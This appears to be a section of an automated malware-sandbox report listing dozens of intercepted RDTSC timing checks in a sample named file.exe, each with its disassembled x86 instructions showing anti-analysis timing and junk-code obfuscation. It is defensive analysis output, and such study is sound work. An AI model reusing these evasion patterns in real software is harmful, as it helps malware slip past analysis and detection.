Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 904EA4 second address: 904F40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 nop 0x00000008 mov edi, dword ptr [ebp+122D3CBFh] 0x0000000e add dword ptr [ebp+122D1A92h], edi 0x00000014 push dword ptr fs:[00000000h] 0x0000001b push 00000000h 0x0000001d push ecx 0x0000001e call 00007F00DC7AD948h 0x00000023 pop ecx 0x00000024 mov dword ptr [esp+04h], ecx 0x00000028 add dword ptr [esp+04h], 00000014h 0x00000030 inc ecx 0x00000031 push ecx 0x00000032 ret 0x00000033 pop ecx 0x00000034 ret 0x00000035 pushad 0x00000036 mov dword ptr [ebp+1247E21Ch], esi 0x0000003c popad 0x0000003d mov dword ptr fs:[00000000h], esp 0x00000044 push 00000000h 0x00000046 push edx 0x00000047 call 00007F00DC7AD948h 0x0000004c pop edx 0x0000004d mov dword ptr [esp+04h], edx 0x00000051 add dword ptr [esp+04h], 00000019h 0x00000059 inc edx 0x0000005a push edx 0x0000005b ret 0x0000005c pop edx 0x0000005d ret 0x0000005e mov bx, 4822h 0x00000062 mov ebx, dword ptr [ebp+122D3D37h] 0x00000068 movsx edi, bx 0x0000006b mov eax, dword ptr [ebp+122D0591h] 0x00000071 mov di, 3100h 0x00000075 mov edi, dword ptr [ebp+122D1AB1h] 0x0000007b push FFFFFFFFh 0x0000007d sub dword ptr [ebp+12463F28h], ecx 0x00000083 nop 0x00000084 push eax 0x00000085 push edx 0x00000086 jmp 00007F00DC7AD94Dh 0x0000008b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 906BD6 second address: 906BEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jmp 00007F00DD5CA020h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 904F40 second address: 904F47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 906BEE second address: 906C47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 or dword ptr [ebp+122D1C2Ch], eax 0x0000000f push 00000000h 0x00000011 jp 00007F00DD5CA01Ch 0x00000017 mov edi, dword ptr [ebp+122D3ABFh] 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push esi 0x00000022 call 00007F00DD5CA018h 0x00000027 pop esi 0x00000028 mov dword ptr [esp+04h], esi 0x0000002c add dword ptr [esp+04h], 0000001Ch 0x00000034 inc esi 0x00000035 push esi 0x00000036 ret 0x00000037 pop esi 0x00000038 ret 0x00000039 mov edi, dword ptr [ebp+122D3B3Fh] 0x0000003f movsx edi, ax 0x00000042 push eax 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 pushad 0x00000047 popad 0x00000048 jnc 00007F00DD5CA016h 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 906DBC second address: 906DC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 907DD9 second address: 907E4A instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F00DD5CA01Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d xor dword ptr [ebp+122D2627h], edi 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push edi 0x00000018 call 00007F00DD5CA018h 0x0000001d pop edi 0x0000001e mov dword ptr [esp+04h], edi 0x00000022 add dword ptr [esp+04h], 0000001Ch 0x0000002a inc edi 0x0000002b push edi 0x0000002c ret 0x0000002d pop edi 0x0000002e ret 0x0000002f movzx ebx, di 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push esi 0x00000037 call 00007F00DD5CA018h 0x0000003c pop esi 0x0000003d mov dword ptr [esp+04h], esi 0x00000041 add dword ptr [esp+04h], 00000014h 0x00000049 inc esi 0x0000004a push esi 0x0000004b ret 0x0000004c pop esi 0x0000004d ret 0x0000004e mov dword ptr [ebp+122D26EFh], esi 0x00000054 xchg eax, esi 0x00000055 push eax 0x00000056 push edx 0x00000057 push ebx 0x00000058 jbe 00007F00DD5CA016h 0x0000005e pop ebx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 906DC0 second address: 906DE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F00DC7AD953h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 908016 second address: 9080C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 jmp 00007F00DD5CA023h 0x0000000c push dword ptr fs:[00000000h] 0x00000013 jmp 00007F00DD5CA022h 0x00000018 mov dword ptr fs:[00000000h], esp 0x0000001f mov eax, dword ptr [ebp+122D05C9h] 0x00000025 push 00000000h 0x00000027 push ebx 0x00000028 call 00007F00DD5CA018h 0x0000002d pop ebx 0x0000002e mov dword ptr [esp+04h], ebx 0x00000032 add dword ptr [esp+04h], 0000001Ah 0x0000003a inc ebx 0x0000003b push ebx 0x0000003c ret 0x0000003d pop ebx 0x0000003e ret 0x0000003f mov dword ptr [ebp+1247E4E3h], esi 0x00000045 push FFFFFFFFh 0x00000047 push 00000000h 0x00000049 push edi 0x0000004a call 00007F00DD5CA018h 0x0000004f pop edi 0x00000050 mov dword ptr [esp+04h], edi 0x00000054 add dword ptr [esp+04h], 00000015h 0x0000005c inc edi 0x0000005d push edi 0x0000005e ret 0x0000005f pop edi 0x00000060 ret 0x00000061 call 00007F00DD5CA023h 0x00000066 jl 00007F00DD5CA019h 0x0000006c movsx edi, di 0x0000006f pop ebx 0x00000070 nop 0x00000071 push eax 0x00000072 push edx 0x00000073 push eax 0x00000074 push edx 0x00000075 push eax 0x00000076 push edx 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9080C1 second address: 9080C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9080C5 second address: 9080CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9080CB second address: 9080D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F00DC7AD946h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9080D5 second address: 9080E6 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F00DD5CA016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ecx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 910985 second address: 9109B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F00DC7AD946h 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F00DC7AD951h 0x00000011 popad 0x00000012 push eax 0x00000013 jmp 00007F00DC7AD954h 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9109B9 second address: 9109C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9100CC second address: 9100F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jns 00007F00DC7AD94Ch 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F00DC7AD955h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9100F7 second address: 9100FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91025A second address: 910260 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 910260 second address: 910264 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 910264 second address: 9102A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00DC7AD959h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F00DC7AD958h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9102A0 second address: 9102DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00DD5CA020h 0x00000007 jmp 00007F00DD5CA029h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007F00DD5CA01Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9102DA second address: 9102E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F00DC7AD94Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9156C9 second address: 9156CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9156CE second address: 9156E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F00DC7AD952h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 915822 second address: 915828 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91B9E7 second address: 91BA18 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00DC7AD953h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007F00DC7AD94Eh 0x0000000f js 00007F00DC7AD946h 0x00000015 pushad 0x00000016 popad 0x00000017 pop edx 0x00000018 push ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b jc 00007F00DC7AD946h 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91BFED second address: 91BFF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91C548 second address: 91C565 instructions: 0x00000000 rdtsc 0x00000002 js 00007F00DC7AD946h 0x00000008 jmp 00007F00DC7AD950h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91C565 second address: 91C56B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 920B9C second address: 920BBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 jmp 00007F00DC7AD957h 0x0000000a pop edi 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 920BBC second address: 920BC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 js 00007F00DD5CA01Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 920BC9 second address: 920BD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 920BD3 second address: 920BD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 926DD1 second address: 926DD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92595D second address: 925968 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 925AD0 second address: 925AF1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00DC7AD953h 0x00000007 ja 00007F00DC7AD946h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 925CA0 second address: 925CB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F00DD5CA023h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 925CB7 second address: 925CDA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00DC7AD957h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007F00DC7AD946h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 925CDA second address: 925CE0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 925CE0 second address: 925CF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F00DC7AD94Ah 0x0000000c push eax 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 925CF5 second address: 925D00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 925D00 second address: 925D06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 925D06 second address: 925D0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 925D0A second address: 925D2B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F00DC7AD958h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 925E72 second address: 925E9A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F00DD5CA016h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F00DD5CA022h 0x00000011 push eax 0x00000012 push edx 0x00000013 jnl 00007F00DD5CA016h 0x00000019 push edi 0x0000001a pop edi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 925E9A second address: 925ECF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00DC7AD955h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F00DC7AD959h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 925ECF second address: 925ED9 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F00DD5CA022h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 925ED9 second address: 925EE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F00DC7AD946h 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 926031 second address: 926035 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9261E9 second address: 926216 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 jns 00007F00DC7AD946h 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F00DC7AD94Ah 0x00000016 jmp 00007F00DC7AD952h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 926216 second address: 92621A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 926371 second address: 926375 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 926375 second address: 926382 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 926382 second address: 926388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 926388 second address: 92638D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92664C second address: 92665B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jo 00007F00DC7AD946h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92665B second address: 92665F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92665F second address: 926665 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 926665 second address: 926673 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007F00DD5CA016h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D6E75 second address: 8D6E79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D6E79 second address: 8D6E7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9253C3 second address: 9253D2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9253D2 second address: 9253D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9253D8 second address: 9253ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00DC7AD94Ch 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9253ED second address: 9253F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9253F6 second address: 9253FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92AB4E second address: 92AB64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F00DD5CA016h 0x0000000a jno 00007F00DD5CA01Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EED9D second address: 8EEDA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EEDA3 second address: 8EEDA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EEDA7 second address: 8EEDE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov dword ptr [ebp+124638FEh], ebx 0x00000011 lea eax, dword ptr [ebp+12482B71h] 0x00000017 mov dword ptr [ebp+122D198Dh], eax 0x0000001d nop 0x0000001e jmp 00007F00DC7AD959h 0x00000023 push eax 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EEDE4 second address: 8EEDE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EEDE8 second address: 8D6348 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00DC7AD958h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnc 00007F00DC7AD94Ch 0x0000000f popad 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push edx 0x00000014 call 00007F00DC7AD948h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], edx 0x0000001e add dword ptr [esp+04h], 00000019h 0x00000026 inc edx 0x00000027 push edx 0x00000028 ret 0x00000029 pop edx 0x0000002a ret 0x0000002b mov di, si 0x0000002e call dword ptr [ebp+122D1C84h] 0x00000034 jmp 00007F00DC7AD94Dh 0x00000039 jbe 00007F00DC7AD956h 0x0000003f push eax 0x00000040 push edx 0x00000041 jl 00007F00DC7AD946h 0x00000047 pushad 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EF2F2 second address: 8EF2F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EF2F6 second address: 8EF300 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F00DC7AD946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EF300 second address: 8EF31A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F00DD5CA01Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EF31A second address: 8EF324 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F00DC7AD946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EF3CA second address: 8EF3F7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F00DD5CA023h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F00DD5CA020h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EF5AD second address: 8EF5C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F00DC7AD951h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EF5C7 second address: 8EF5CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EF6BD second address: 8EF6D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F00DC7AD957h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EFD05 second address: 8EFD0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EFEC1 second address: 8EFECB instructions: 0x00000000 rdtsc 0x00000002 jc 00007F00DC7AD946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92AFAD second address: 92AFB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92AFB7 second address: 92AFCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ebx 0x00000007 jo 00007F00DC7AD96Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
